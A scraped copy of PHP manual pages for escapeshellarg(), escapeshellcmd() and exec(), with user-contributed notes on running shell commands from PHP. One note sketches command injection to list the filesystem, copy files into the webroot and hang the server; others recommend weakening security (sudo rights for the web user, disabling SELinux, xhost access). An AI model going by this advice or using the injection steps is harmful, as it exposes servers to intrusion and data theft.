According to my test (PHP 4.3.10) there is no need to call escapeshellarg() on a filename that is being written to by proc_open, and probably others. E.g.
<?php
$process = proc_open("echo hi",
                               array(
                                 0 => array("pipe", "r"),
                                 1 => array("file", 'filename with spaces', "w"),
                                 2 => array("pipe", "w"),
                               ),
                               $pipes);
?>
creates a file named:

filename with spaces

In fact,
<?php
         1 => array("file", escapeshellarg('filename with spaces')
?>
creates a file named:

'filename with spaces'

(quotes included in filename.) Maybe all the PHP functions that take a filename as a separate parameter work this way. I guess you just need to escape filenames when they are part of a single string command line such as with the backtick operator, system(), etc.
antony lesuisse
23-Apr-2004 11:30
NOTE: If you are using PHP >= 4.2 you should use the pcntl_* (Process
Control) functions instead of this hack.

PHP, before version 4.2, didn't provide any execl(3)-like or
execv(3)-like methods to invoke external programs, thus everything
goes trough /bin/sh -c and we are forced to quote arguments.

To make it worse escapeshellarg() behaves badly (IMHO) with an empty
string:
<?php
   echo "mime-construct --to ".escapeshellarg($to)." --cc a@a.com";
?>

The following function is a wrapper to system(), and it can be adapted
to popen(),exec(),shell_exec():

<?php
   # system with perl? semantics
   function lib_system() {
       $arg=func_get_args();
       if(is_array($arg[0]))
           $arg=$arg[0];
       $cmd=array_shift($arg);
       foreach($arg as $i) {
           $cmd.=" ''".escapeshellarg($i);;
       }
       system($cmd);
   }
   # example1
   lib_system("mime-construct","--output", "--to",$a,"--string",$b);
   # example2
   lib_system(array("mime-construct","--output", "--to",$a,"--string",$b));
?>
vosechu at roman-fleuve dot com
26-Mar-2004 09:05
If escapeshellarg() returned something on a null input it would probably break more programs than it helps. Even if it's two "'s or two ''s, this function wouldn't work the way it's supposed to (that is, returning nothing).

However, most people do not put "" into their commands but I can see where it might be useful at the same time.
Perhaps an option in the command that would return the type of null we want. I might want the null character to be returned, someone else might want '', and someone else might want nothing at all.
php at floris dot nu
26-Mar-2003 11:27
i also thought the output was gonna be between 's because that's the way windows handles arguments with spaces in them. i think we have a unix <> windows misunderstanding here...
jbriggs at esoft dot com
05-Jan-2002 04:57
This function returns nothing when called with an empty argument.

escapeshellarg("b'lah") returns 'b'\''lah'
but escapeshellarg("") returns ""
add a note add a note

后退 | 起点 | 前进
Program Execution Functions | 上一级 | escapeshellcmd


escapeshellcmd

(PHP 3, PHP 4, PHP 5)

escapeshellcmd -- Escape shell metacharacters

说明

string escapeshellcmd ( string command )

escapeshellcmd() escapes any characters in a string that might be used to trick a shell command into executing arbitrary commands. This function should be used to make sure that any data coming from user input is escaped before this data is passed to the exec() or system() functions, or to the backtick operator.

参数

command

The command that will be escaped.

返回值

The escaped string.

范例

例子 1. escapeshellcmd() example

<?php
$e = escapeshellcmd($userinput);

// here we don't care if $e has spaces
system("echo $e");
$f = escapeshellcmd($filename);

// and here we do, so we use quotes
system("touch \"/tmp/$f\"; ls -l \"/tmp/$f\"");
?>

参见

escapeshellarg()
exec()
popen()
system()
backtick operator

add a note add a note User Contributed Notes
ceejay at trashfactory dot de
15-Mar-2006 08:43
Well guys, i find it very hard that escapeshellarg and escapeshellcmd are forcely run when passing a command to exec, system or popen, when safe_mode is turned on.

Right now, i did not find any working solution to pass commands like this:
cmd -arg1 -arg2 "<BLA varname=\"varvalue\" varname1=\"varvalue1\" />"

it is just the case, that the parameter for arg2 which is a string that looks like an HTML-Tag with various attributes set, all attributes of the string in arg2 gets splitted by the whitespaces within. this wont happen with safe_mode turned off, so it must be one of the escapefunctions, that breaks functionality.

In order to circumvent this, i have made a temporary solution, which dynamically creates a skriptfile (by fopen), which just contains the whole command with arguments, and then execute that skriptfile. i dont like that solution, but in the other hand, safe_mode cannot be easily turned off on that server.
cast3r
13-Sep-2005 08:31
"normal any user on linux can view almost any directory so:
ls / -als will print a complete list of any file in the linux filesystem including its size, security and hidden files as well."
ls / -alsR is the whole filesystem.
docey
12-Apr-2005 08:56
the main reason for quoting a command is that it not multiple  command can be joined. i don't know for sure if this is the right syntax but remeber that this can do some nice security breaks. here's one way of how to know exactly what your trying to break into for.

normal any user on linux can view almost any directory so:
ls / -als will print a complete list of any file in the linux filesystem including its size, security and hidden files as well.

now the output would only become known to php and never will the user be able to view this data unless the php script would actual start to print it out. like passtru does!! but a good php coder knows never to use passtru unless not otherwise possible.

but what would happen if you can direct the output from ls also from that same commandline to a file in the webroot most webserver still default their base-webroot to /var/www/ so storing it there in text file to download it later and you can simply take coffee while checking wich files can be read by php security mode and then simply use the cp command to copy those to the webroot and download them to your own hard-disk. without a list of the files you can only guess where to copy from! and thats harder then guessing the root password.

so if the first command was quoted it is not possible to attach another command because of a syntax error. think of all the thinks you can do once you got a complete list of every file on the filesystem. including mounted once via NFS and others. security starts at keeping the door hidden.

also another nice command for hanging the webserver can be "php <?php while(true){ exec('ls / -als'); }; ?>" this keeps creating a file list on the entire filesystem wich not only keeps the hard-disk(s) bussy but also memory and cpu  wich must store the returned list. so keeping in mind not all command accepted from users can be used blind.

actualy never accept any command from external sources only proven built-in predefined commands should be executed.
trisk at earthling dot net
01-Feb-2005 02:19
This function does not work as shown in the php.net examples.

If you put your encoded filename into double-quotes as they suggest, then it will break on certain characters in filenames, such as ampersand.

For example if you have a filename called "foo & bar.jpg" and you use this function on it, your resulting filename when double-quoted will produce this and not be found:

"foo \& bar.jpg"

If you need to have a single argument where spaces are included then do not use this function with added double-quotes, use escapeshellarg() which encloses the whole string in single quotes.

I do not understand which purpose this particular function is intended for.  I can't see any use for it, unless you pass it through another function and convert spaces " " to "\ ", which would allow you to use the string directly on the command line.
add a note add a note

后退 | 起点 | 前进
escapeshellarg | 上一级 | exec


exec

(PHP 3, PHP 4, PHP 5)

exec -- Execute an external program

说明

string exec ( string command [, array &output [, int &return_var]] )

exec() executes the given command.

参数

command

The command that will be executed.

output

If the output argument is present, then the specified array will be filled with every line of output from the command. Trailing whitespace, such as \n, is not included in this array. Note that if the array already contains some elements, exec() will append to the end of the array. If you do not want the function to append elements, call unset() on the array before passing it to exec().

return_var

If the return_var argument is present along with the output argument, then the return status of the executed command will be written to this variable.

返回值

The last line from the result of the command. If you need to execute a command and have all the data from the command passed directly back without any interference, use the passthru() function.

To get the output of the executed command, be sure to set and use the output parameter.

范例

例子 1. An exec() example

<?php
// outputs the username that owns the running php/httpd process
// (on a system with the "whoami" executable in the path)
echo exec('whoami');
?>

注释

警告

如果想允许用户输入的数据被传入本函数，则应使用 escapeshellarg() 或 escapeshellcmd() 函数来确保用户不能欺骗系统从而执行任意命令。

注: 如果用本函数启动一个程序并希望保持在后台运行，必须确保该程序的输出被重定向到一个文件或者其它输出流去，否则 PHP 会在程序执行结束前挂起。

注: 在打开了安全模式时，只能执行在 safe_mode_exec_dir 之内的程序。为实用起见目前不能在指向程序的路径中包含 .. 成分。

警告

在打开了安全模式时，初始命令字符串之后的所有词都被看成一个单一的参数。因此，echo y | echo x 就成了 echo "y | echo x"。

参见

system()
passthru()
escapeshellcmd()
pcntl_exec()
system()
backtick operator

add a note add a note User Contributed Notes
Jelsamino
11-May-2006 08:41
If you need generate new data .htpasswd file:

$command="htpasswd -nb ".$login."".$password;
exec($command,$res);
echo $res[0];

Luck!!!!!!!
29-Mar-2006 08:12
I've done a C program to act as a "timeout controller" process, by forking itself and executing some other command received as parameter.

Then, in PHP I have a function that calls commands this way:

<?php
...
$command = "tout_controller <tout> <command_name> <command_args>"
exec($command,$status);
echo "Exit status code of command is $status";
...
?>

I've noticed that exit status code returned from a C process is a "special" integer.

I wanted "command" exit status code to be returned to controller, and then controller to exit with same status code (to get this status from PHP).
Exit status was always 0 !!!

To solve this, i've found a C macro to use inside tout_controller:

<C code snippet>
..
waitpid(pid,&status,0); // wait for process that execs COMMAND
..
//exit(status); // that doesn't work
exit(WEXITSTATUS(ret)); // that's ok
..
</C code snippet>

It isn't exactly a PHP note, but may be useful to help some desperated programmer's ;)
hanno at theuprightape dot net
14-Feb-2006 08:10
(quoting rassehund) "Just find sudoers in your system and add there rights to NOBODY."

This is, of course, a MAJOR security risk. You don't need sudo if you use it like that, you might just as well change permissions for all commands and paths.

For remote server administration, if I don't use ssh, I would let root run cronjobs that look at configuration parameters which were set using a web interface, preferrably using a database (for comfort) and input checks (for security). The logging/status/statistical information that the cronjobs produce are also made available via a web interface.

That way, you don't have to perforate your security mechanisms. And one more personal opinion: sudo isn't that safe anyway: ever tried "sudo bash" or "sudo vi"? I would avoid using it, if you get groups and permissions right, you are not going to need it.
gmail.com [at] dmimms
01-Feb-2006 08:41
I just spent around 10 hours trying to figure out why sudo wouldn't work from exec.  It's because SELinux was enabled.  Changing that to permissive is the solution.
rassehund at gmail dot com
14-Dec-2005 04:34
I spent quite a lot time fixing problem of invoking scripts in Linux remotly. In the beginning I thought that it was a problem of exec() function, than I thought that something wrong in Apache server, cos through the web server you are NOBODY and have no rights to invoke scripts in Linux.

so for example in my php script I had such line :

exec ('pathToScript/script.sh &');

If to start my php script with such line in the linux shell like : php myphp.php everything is perfect. But if to do the same through the server than problem occurs.
I solved this problems with sudoers file in Linux. U needn't change anything in Apache or in php script. Just find sudoers in your system and add there rights to NOBODY.
amandato (at) gmail (period) com
07-Dec-2005 04:51
Running a command that may never time out on a windows server inspired the following code.  The PsExecute() function allows you to run a command and make it time out after a set period of time.  The sleep parameter is the number of seconds the script will pause becore checking if the process is complete.

Code utilizes the PsTools, found here: http://www.sysinternals.com/ntw2k/freeware/pstools.shtml

Copy and paste the following code into an include file:
<?php
// pstools.inc.php

   function PsExecute($command, $timeout = 60, $sleep = 2) {
       // First, execute the process, get the process ID
       $pid = PsExec($command);

       if( $pid === false )
           return false;

       $cur = 0;
       // Second, loop for $timeout seconds checking if process is running
       while( $cur < $timeout ) {
           sleep($sleep);
           $cur += $sleep;
           // If process is no longer running, return true;
           if( !PsExists($pid) )
               return true; // Process must have exited, success!
       }

       // If process is still running after timeout, kill the process and return false
       PsKill($pid);
       return false;
   }

   function PsExec($command) {
       exec( dirname(__FILE__). "\\psexec.exe -s -d $command  2>&1", $output);

       while( list(,$row) = each($output) ) {
           $found = stripos($row, 'with process ID ');
           if( $found )
               return substr($row, $found, strlen($row)-$found-strlen('with process ID ')-1); // chop off last character '.' from line
       }

       return false;
   }

   function PsExists($pid) {
       exec( dirname(__FILE__). "\\pslist.exe $pid 2>&1", $output);

       while( list(,$row) = each($output) ) {
           $found = stristr($row, "process $pid was not found");
           if( $found !== false )
               return false;
       }

       return true;
   }

   function PsKill($pid) {
       exec( dirname(__FILE__). "\\pskill.exe $pid", $output);
   }
?>

Place the above include file and the PsTools from (http://www.sysinternals.com/ntw2k/freeware/pstools.shtml) in the same directory.
simoncpu
30-Nov-2005 03:48
Sometimes, it is convenient to let exec() return the status of the executed command, rather than return the last line from the result of that command.  In Unix, just do:

   $ret = exec('foo; echo $?');

Remember not to overdo it though. ;)

[ simon.cpu ]
jkxx at mail dot bg
31-Oct-2005 03:31
In response to mbirth@webwriters.de's post:

"I now switched over to using exec('start /b ...') directly with the desired command (instead of writing it into a batch file and calling that) and played around with the line-length. Seems like the exec() command works with command-strings of up to 4096 characters in length. If the string is longer, it won't be executed."

I have had this issue ever since I started writing CGIs in Windows 2000 (NT 5.0 then). The "stdout" stream is subdivided into 4Kbyte chunks. As a result, when data is sent out by the CGI, there will be issues when that data goes over the 4K boundary. In my case I just appended enough whitespace to round the output to the nearest multiple of 4096 and all output made it to the destination. Not sure if this would be a practical solution for everyone, though.
Bob-PHP at HamsterRepublic dot com
19-Oct-2005 02:00
exec strips trailing whitespace off the output of a command. This makes it impossible to capture signifigant whitespace. For example, suppose that a program outputs columns of tab-delimited text, and the last column contains empty fields on some lines. The trailing tabs are important, but get thrown away.

If you need to preserve trialing whitespace, you must use popen() instead.
clive at pluton dot co dot uk
15-Oct-2005 06:35
When trying to run an external command-line application in Windows 2000 (Using IIS), I found that it was behaving differently from when I manually ran it from a DOS prompt.

Turned out to be an issue with the process protection. Actually, it wasn't the application itself that was having the problem but one it ran below it! To fix it, open computer management, right-click on Default Web Site, select the Home Directory tab and change Application Protection to 'Low (IIS Process)'.

Note, this is a rather dangerous thing to do, but in cases where it's the only option...
rivera at spamjoy dot unr dot edu
07-Oct-2005 04:17
windExec() reloaded:
* unique timestamp name was probably a good idea for multiple instances of function running @ same time
* includes handy FG/BG parameter

<?php
define ('EXEC_TMP_DIR', 'C:\tmp');

function windExec($cmd,$mode=''){
   // runs a command line and returns
   // the output even for Wind XP SP2
   // example: $cmd = "fullpath.exe -arg1 -arg2"
   // $outputString = windExec($cmd, "FG");
   // OR windExec($cmd);
   // (no output since it runs in BG by default)
   // for output requires that EXEC_TMP_DIR be defined

   // Setup the command to run from "run"
   $cmdline = "cmd /C $cmd";

   // set-up the output and mode
   if ($mode=='FG'){
       $outputfile = EXEC_TMP_DIR . "\\" . time() . ".txt";
       $cmdline .= " > $outputfile";
       $m = true;
   }
   else $m = false;

   // Make a new instance of the COM object
   $WshShell = new COM("WScript.Shell");

   // Make the command window but dont show it.
   $oExec = $WshShell->Run($cmdline, 0, $m);

   if ($outputfile){
       // Read the tmp file.
       $retStr = file_get_contents($outputfile);
       // Delete the temp_file.
       unlink($outputfile);
   }
   else $retStr = "";

   return $retStr;
}
ewilde
21-Sep-2005 07:55
To my way of thinking, it is a good idea to execute programs from the cgi-bin directory of the Web server, to get a little control over configuring a system (at install time, a pointer to the actual program can be symlinked from the cgi-bin directory and the code won't ever have to be changed).  If you'd like to do this, under Apache at least, the following should work:

  if (!($ProgInfo = apache_lookup_uri(/cgi-bin/myprog)))
   $ProgPath = /usr/bin/myprog;
  else
   {
   if (is_object($ProgInfo)) $ProgPath = $ProgInfo->filename;
   else $ProgPath = $ProgInfo["filename"];
   }

exec("$ProgPath ...");
mbirth at webwriters.de
14-Sep-2005 02:42
I had to combine many PDFs into a single one using pdftk and did this by writing the commands into a batch file and running it with exec('cmd /c blabla.cmd').

Using batch files under Windows, there's a line-length-limit of 1024 characters. So I made sure each line in the batch file doesn't exceed 1024 characters.

I now switched over to using exec('start /b ...') directly with the desired command (instead of writing it into a batch file and calling that) and played around with the line-length. Seems like the exec() command works with command-strings of up to 4096 characters in length. If the string is longer, it won't be executed.
nonnsi at gmail dot com
14-Sep-2005 03:25
I found this site to be very helpful when trying to add parameters to the "start" command in windows xp.
http://www.robvanderwoude.com/ntstart.html
I use:
exec( 'start "title" /Dpath /B program parameters' );
CJ [AT] TBG
09-Sep-2005 01:41
[EXEC] on [Windows]

Finally a simple way to get exec working w/o launching a black box window.

just do: exec('start /B "window_name" "path to your exe"',$output,$return);

The important part is the /B which makes it run in the background.
p dot koeman at wittenborg-university dot com
29-Aug-2005 09:22
Using sudo (http://www.sudo.ws/) to exec system commands from PHP

This is a secure way to use sudo from PHP to perform sysadmin tasks from a php webapplication. (can be used with exec or passthru)

- Make a PHP script in the WWW root directory : client.php

[/home/mywebdir/html/client.php]
<?
passthru('echo hello world | sudo /usr/bin/php -f /home/server.php');
?>

- Make a PHP script outside the WWW directory : server.php

[/home/server.php]
<?
echo join('',file('php://stdin'));
?>

Add a line to /etc/sudoers

[in /etc/sudoers]
www    ALL=(ALL) NOPASSWD: /usr/bin/php -f /home/server.php

Now execute client.php in the webbrowser (as www user)
- client.php will execute sudo
- sudo will execute server.php by php as root !

In server.php you can do everything you like requiring root privileges. BEWARE ! every php script can now execute server.php, make it secure ! (filter parameters etc.)

I have tested this method and it works !
Kind regards, Pim Koeman
Wittenborg-University, Deventer, the Netherlands
http://www.wittenborg-university.com
vdweij at hotmail dot com
09-Aug-2005 07:18
It is possible to only capture the error stream (STERR). Here it goes...

(some_command par1 par2 > /dev/null) 3>&1 1>&2 2>&3

-First STDOUT is redirected to /dev/null.
-By using parenthesis it is possible to gain control over STERR and STOUT again.
-Then switch STERR with STOUT.

The switch is using the standard variable switch method -- 3 variables (buckets) are required to swap 2 variables with each other. (you have 2 variables and you need to switch the contents - you must bring in a 3rd temporary variable to hold the contents of one value so you can properly swap them).

This link gave me this information:
http://www.cpqlinux.com/redirect.html
juha at kuhazor dot idlegames dot com
04-Aug-2005 02:32
This technique was post posted by someone else earlier, however it did not work for me. This works with all Linux distros as long as path to your PHP processor is correct. The exec will return the PID for the process.

<?
$pid=exec("/usr/local/bin/php run.php > /dev/null & echo \$!");

echo $pid;
?>

My run.php script is here, it is good for testing.

<?

function getmicrotime()
{
   list($usec, $sec) = explode(" ", microtime());
   return ((float)$usec + (float)$sec);
}

$starttime = getmicrotime();

$date=date("d/m/Y H:i",time());

echo "Started sleeping\n";
sleep(30);
$endtime = getmicrotime();
echo "Woke up\n";

echo "Slept ".round(($endtime-$starttime),2)."\n";

?>
netshadow at madpoets dot org
05-Apr-2005 10:13
For Win2k/XP systems, and probably NT as well, after beating my head against a wall for a few days on this, I finally found a foolproof way of backgrounding processes and continuing the script.

For some strange reason I just could not seem to get backgrounding to work with either system or exec, or with the wsh.run method for that matter.  I have used all three in the past with success, but it just wasn't happening this time.

What I finally wound up doing was using psexec from the pstools package found at http://www.sysinternals.com/ntw2k/freeware/pstools.shtml

You would use it like:

exec("psexec -d blah.bat");

which will start and immediately background blah.bat and immediately resume running the rest of the php script.
bitminer at example dot com
20-Mar-2005 02:24
I am posting this as I see quite a few people looking to create a web based interface to their MP3 player (XMMS or really what ever you want to call from the command line) on Linux.  Alas, I am not the only one, and  I did not think of it first ( suppose I have to result to other get rich quick schemes).  And even if there were a direct downloadable utility (as there is XMMS-Control) you, like me, probably want the bowl of porage that is just right.  Which means you want to make your own because current versions of X, Y, or Z just don't do what you want.

Most of the hard work is at the linux command shell (ugh! - I heard that!  Drop and give me 20 command line scripts!)

login as root

ensure /dev/dsp has the proper access privileges
chmod a+rw /dev/dsp

add apache to the local list of users for the xserver.
xhost +local:apache@

You should see the following if apache is not added to the xserver.

Xlib: connection to ":0.0" refused by server
Xlib: No protocol specified

** CRITICAL **: Unable to open display

And I am sure that error is as clear to you as it was to me!

NOTE !!! only change the following for testing purposes so that you can su to apache from root and test xmms !!!!

Temporarily change the line

apache:x:48:48:Apache:/var/www:/sbin/nologin

To
apache:x:48:48:Apache:/var/www:/bin/bash

so that you can test out apache access to the Xserver and XMMS.

su apache
xmms
!!! Play a file - Don't just read this actually play a file!!!  The reason is that if it fails xmms will likely give an error you can track down like a greyhound chases that little bunny at the dog track! (speaking of get rich quick schemes)

And for the grand finale!

If you can call xmms from the command line you can likely do the following (unless you are running php in safe mode).  Ensure that the wav, mp3, or whatever you decide to test it with is accessible to apache.  I put the file into /var/www/html/icould.wav and chmod a+rw icould.wav

<?php
echo ' Executing XMMS ';
// note you could use system too!
//echo system( '/usr/bin/xmms --play icould.wav', $retval );
exec ('/usr/bin/xmms --play icould.wav');
?>

At your browser ensure you hit shift+refresh(button) so your browser doesn't give you a cahed the web page.

Brian J. Davis
david houlder
22-Feb-2005 07:47
The note regarding how exec() works under safe_mode is wrong.

echo y | echo x does not become echo "y | echo x". It essentially becomes echo "y" "|" "echo" "x". The entire string is  passed through escapeshellcmd(), which effectively splits arguments at spaces. Note that this makes it impossible to reliably pass arguments containing spaces to exec() in safe_mode. Since 4.3.3 escapeshellcmd() tries to pass quoted arguments through (so you could try exec("cmd 'arg 1' 'arg 2'")), but not on win32, and will still wrongly backslash escape any punctuation characters inside the quotes.

Not only can the path not contain '..' components, but no directory or filename can contain the string '..'. e.g. /path/to/my..executable will refuse to run.
xyexz at yahoo dot com
22-Jan-2005 02:28
Ok, well after looking around for a long time on how to execute programs and not have them hanging in the processes in windows I have come up with a solution thats good for me but some of you may laugh.
Credit to msheakoski @t yahoo d@t com for the example script above here somewhere.
My problem was that I sometimes restart my server remotely and it doesn't turn on my ftp when my computer starts up, I do this so it will start up quicker.  But when I want my ftp open I was using a script that executed a .bat from php.  However I found this leaves processes running that were dead.
I saw msheakoski's solution:

<?
$WshShell = new COM("WScript.Shell");
$oExec = $WshShell->Run("notepad.exe", 3, true);
?>

Well I tried sticking in my ftp program executible name where he had notepad.exe.
It didn't work.
Then I realized that windows will execute anything in the windows directory without including the entire path.
So I made a lnk file called FTP.link.  I then edited msheakoski's script to:

<?
$WshShell = new COM("WScript.Shell");
$oExec = $WshShell->Run("FTP.lnk", 3, false);
?>

And voila! It runs my ftp program and cmd nor php.exe run in the background dead. Simple yet effective, (just how I like it).
Hope this helps you as much as it did me.
Brian
layton at layton dot tk
19-Jan-2005 07:52
This is the second time this one got me, I thought someone else might find this note useful too.

I am creating a long running exec'd process that I can access with page submissions up to 2 hours later. The problem is this, the first time I access the page everything works like it should. The second time the web browser waits and waits and never gets any messages -- the CPU time is not affected so it is apparent that something is blocked.

What is actually happening is that all of the open files are being copied to the exec'd process -- including the network connections. So the second time I try to access the web page, I am being given the old http network connection which is now being ignored.

The solution is to scan all file handles from 3 on up and close them all. Remember that handles 0, 1, and 2 are standard input, standard output, and standard error.
13-Jan-2005 08:38
I wanted my script to:

* execute an external command.
* check if the execution was ok. (i.e. the return level)
* log the error output if the execution wasn't ok.
* not print the command's output in my script's output.

I saw the exec, system, shell_exec and passthru functions, and deduced that the solution was to redirect the standard error (stderr) to the standard output (stdout). It's not very clean, since it mixes stderr with stdout, and I only wanted to log the stderr. But it seems to be the only solution (suggestions are welcome).

This is the code I use:

<?php

$com= "ls";    # command

exec("$com 2>&1", $out, $err);
if ($err) my_log_func(join("\n", $out));

?>
chads2k2.yahoo.com
14-Dec-2004 02:38
This will execute a exectuable from the
command window without the command
window even being seen.

Much help was given by Michael Sheakoski
as he stated below this in one of his other
scripts.  The problem I had was that I want
to have arguments be sent to the .exe.

This will run the exe and then whatever it
returned will be dealt with.

Tested with:
Windows XP Pro SP1
Apache2
PHP 4.3.x
IIS6 as well

Here is the snippet.
<?php
// Get a good ol' timestamp.  Unique and it works.
$unixtime = time();

// Sets up your exe or other path.
$cmd = 'C:\\path\\to\\program\\argue2.exe';

// Setup an array of arguments to be sent.
$arg[] = '1';
$arg[] = '2';
$arg[] = '3';
$arg[] = '4';
$arg[] = '5';

// Pick a place for the temp_file to be placed.
$outputfile = 'C:\\path\\to\\tmp\\unixtime.txt';

// Setup the command to run from "run"
$cmdline = "cmd /C $cmd " . implode(' ', $arg) . " > $outputfile";

// Make a new instance of the COM object
$WshShell = new COM("WScript.Shell");

// Make the command window but don't show it.
$oExec = $WshShell->Run($cmdline, 0, true);

// Read the file file.
$output = file($outputfile);

// Delete the temp_file.
unlink($outputfile);

// Take the output and break the array apart.
// If you don't know what is coming out do:
// print_r("$output");
foreach($output as $temp_output)
{
   // Check the output's return code.
   if($temp_output == 1)
   {
     // Tell the user it was correct.
     echo "All is good";
   }else{
     // Tell the user something goofed.
     echo "Didn't go smoothly.";
   }
}
?>
14-Oct-2004 12:46
if you want to use rsh and nohup, you should do this:

<?php
   //...
   exec("nohup  rsh -n *command* 1>/dev/null/ 2>&1 &");
   //..
?>

or

<?php
   //...
   exec("nohup  rsh -n *command* 1>result.log 2>&1 &");
   //...
?>
php-contrib at i-ps dot net
12-Oct-2004 09:30
I had a bit of trouble using exec with Windows when passing a parameter to a PHP script file. I found I needed to create a Windows batch "wrapper" file to get the script file to accept the optional argument.

1) PHP script file exists:
  c:\www\script.php

2) PHP is installed in:
  c:\www\php\

3) BAT file contains:
  @c:\www\php\cli\php.exe c:\www\script.php %1

and is saved as:
  c:\www\script.bat

4) Use exec statement from PHP:
  exec("c:\www\script.bat $arg", $output);

If you want to pass more than one argument, carry on with %2, %3, %4, ..., ... in your BAT file.

Hope this helps somebody
msheakoski @t yahoo d@t com
08-Jul-2004 11:40
I too wrestled with getting a program to run in the background in Windows while the script continues to execute.  This method unlike the other solutions allows you to start any program minimized, maximized, or with no window at all.  llbra@phpbrasil's solution does work but it sometimes produces an unwanted window on the desktop when you really want the task to run hidden.

start Notepad.exe minimized in the background:
$WshShell = new COM("WScript.Shell");
$oExec = $WshShell->Run("notepad.exe", 7, false);

start a shell command invisible in the background:
$WshShell = new COM("WScript.Shell");
$oExec = $WshShell->Run("cmd /C dir /S %windir%", 0, false);

start MSPaint maximized and wait for you to close it before continuing the script:
$WshShell = new COM("WScript.Shell");
$oExec = $WshShell->Run("mspaint.exe", 3, true);

For more info on the Run() method go to:
http://msdn.microsoft.com/library/en-us/script56/html/wsMthRun.asp
llbra@phpbrasil
06-Jul-2004 08:30
If you want to run somenthing but php just keep processing data and dont answer until the program is closed (run in background mode, without interfering the program), from the note ( If you start a program using this function ... PHP will hang until the execution of the program ends ), jonas function will certainly be useful for you:

<?php
function execInBackground($path, $exe, $args = "") {
   global $conf;

   if (file_exists($path . $exe)) {
       chdir($path);
       if (substr(php_uname(), 0, 7) == "Windows"){
           pclose(popen("start \"bla\" \"" . $exe . "\" " . escapeshellarg($args), "r"));
       } else {
           exec("./" . $exe . " " . escapeshellarg($args) . " > /dev/null &");
       }
   }
}
?>

Thank you Jonas. It has been very useful for me.
until-june-04 at daniu dot de
14-May-2004 06:27
Hi!

I just want to add a note to the function "jonas DOT info AT gmx DOT net" contributed to keep processes running in the background.

Not like with the other exec/system/passthru etc. functions if you want to execute a batch file on a MS-machine you need to add a simple exit in the last line of your batch-file otherwise the CMD task does not close and your server will be filled with dead processes ... No idea what happens with other programs .
tr4nc3 at msn dot com
22-Feb-2004 06:43
I almost gave up trying to get Windows XP w/ Apache 2 to use either system(), or exec() to run a batch file.

If the batch file was this...

echo test > test.txt

it would work fine, creating test.txt...

but if the batch file was..

iexplore.exe "http://www.ibm.com"

I would get nothing. After hours and hours of messing around with this I figured it must be some type of permission problem. (dugh!)

Long story a little shorter.. You have to give Apache permission to "interact with the desktop".

Here's how...

Start>Run>services.msc
Right click "Apache...", select properties.
Click on the "LOG ON" tab
Check the box "Allow this service to interact with desktop"
Click OK
Restart Apache

Works great!
:D

HOPE THIS HELPS SOMEONE!
Too bad I didn't find a post like this before I figured it out myself. (I could have been working on something.)
alerque.com, look for contact info
22-Dec-2003 05:30
In order to execute a command have have it not hang your php script while it runs, the program you run must not output back to php. To do this, redirect both stdout and stderr to /dev/null, then background it.

> /dev/null 2>&1 &

In order to execute a command and have it spawned off as another process that is not dependent on the apache thread to keep running (will not die if somebody cancels the page) run this:

exec('bash -c "exec nohup setsid your_command > /dev/null 2>&1 &"');
camusatan at yahoo dot com
08-Nov-2003 04:22
I tried forever to figure out how to invoke a background process, _then_ get its PID so that I can later check on it. On Linux (with /bin/sh equalling /bin/bash), the following finally worked:

$shell_results= exec("wget -O - \"$myurl\" &>/dev/null & echo \$!",
       $results,$status);

The command I'm invoking is 'wget', and $shell_results will end up with the PID of the background wget process. The $results and $status variables I mostly just used for troubleshooting and getting this line working. I put a backslash in front of the dollar sign to keep PHP from trying to interpret it as a variable.
nehle at dragonball-se dot com
22-Oct-2003 05:59
Remember that some shell commands in *NIX needs you to set a TERM enviroment. For example:
<?php
exec('top n 1 b i', $top, $error );
echo nl2br(implode("\n",$top));
if ($error){
   exec('/usr/bin/top n 1 b 2>&1', $error );
   echo "Error: ";
   exit($error[0]);
}
?>
This will echo "Error: TERM enviroment variable not set. " To fix it, add  TERM=xterm (Or some other terminal) to the exec-statement, like this

<?php
exec('TERM=xterm /usr/bin/top n 1 b i', $top, $error );
echo nl2br(implode("\n",$top));
if ($error){
   exec('TERM=xterm /usr/bin/top n 1 b 2>&1', $error );
   echo "Error: ";
   exit($error[0]);
}
?>
colet at putnamhill dot net
27-Sep-2003 06:34
Technique for debuging php in *nix environments:

SSH to your php directory and enter the following:

   mkfifo -m 772 .debug
   tail -f .debug

Now in your php scripts direct debug messages to the debug FIFO with:

   exec("echo \"Some debug statement or $var\" > .debug");

When the php executes, you can watch the output in your terminal app.

This is helpful in situations where it's awkward to debug in a browser (i.e. header commands).
zitan at mediasculpt dot net
19-Sep-2003 01:19
If you're wondering how to catch error messages when calling exec, you simply need to use 2>&1 at the end of your command, and then error messages will get populated into your $output string  (i.e. STDERR to STDOUT).

<?
exec("$cmd 2>&1", $output);
echo $output;

foreach($output as $outputline){
   echo("$outputline<br>");
}
?>
jonas DOT info AT gmx DOT net
13-Sep-2003 12:24
On WinXP with Apache2 and PHP 4.3.3 you cannot start a program in background with exec and start. you have to do the following. This function should work on Windows and Unix, too.

function execInBackground($path, $exe, $args = "") {
   global $conf;

   if (file_exists($path . $exe)) {
       chdir($path);
       if (substr(php_uname(), 0, 7) == "Windows"){
           pclose(popen("start \"bla\" \"" . $exe . "\" " . escapeshellarg($args), "r"));
       } else {
           exec("./" . $exe . " " . escapeshellarg($args) . " > /dev/null &");
       }
   }
}

I have this tested in Win XP and SUSE Linux with Apache and PHP 4.3.3.
mauroi at digbang dot com
04-Sep-2003 12:18
Well, after hours of fighting with output redirection, input redirection, error redirection, session_write_close (), blah blah blah, I think I found an easy way to execute a program in background. I used the following command:

Proc_Close (Proc_Open ("./command --foo=1 &", Array (), $foo));

With the second argument you tell proc_open not to open any pipe to the new process, so you don't have to worry about anything. The third argument is only needed because it's not optional. Also, with the '&' operator the program runs in background so the control is returned to PHP as soon as Proc_Close is executed (it doesn't have to wait).
In my case I don't use the user session in the executed script (there's no way it can be identified if it is not sended as a cookie or URL) so there's no need for session_write_close (correct me if I'm wrong with this).
It worked for me.
bishupaulose at yahoo dot com
20-Jun-2003 02:46
Using ping function in PHP
---------------------------------------

You can use the extended version of this program to check the network status and later you can add HTTP.FTP.POP3 and SMTP protocols as its part.

Access the content of exec from a variable, make radio buttons for each protocol and change the value of variable according to te radio button selection.

[Use ping with count and deadline]

<META http-equiv="Refresh" content="3">
<?php
  $str=exec("ping -c 1 -w 1 192.168.1.216",$a,$a1);
  print "<table>";
  if(strlen($str)>1){
     print"<tr><td bgcolor='#fff000'>present</td></tr>";
  }else{
     print"<tr><td bgcolor='#000000'>Not present</td></tr>";
  }
 print "</table> ";
?>
hansarnholm at hotmail dot com
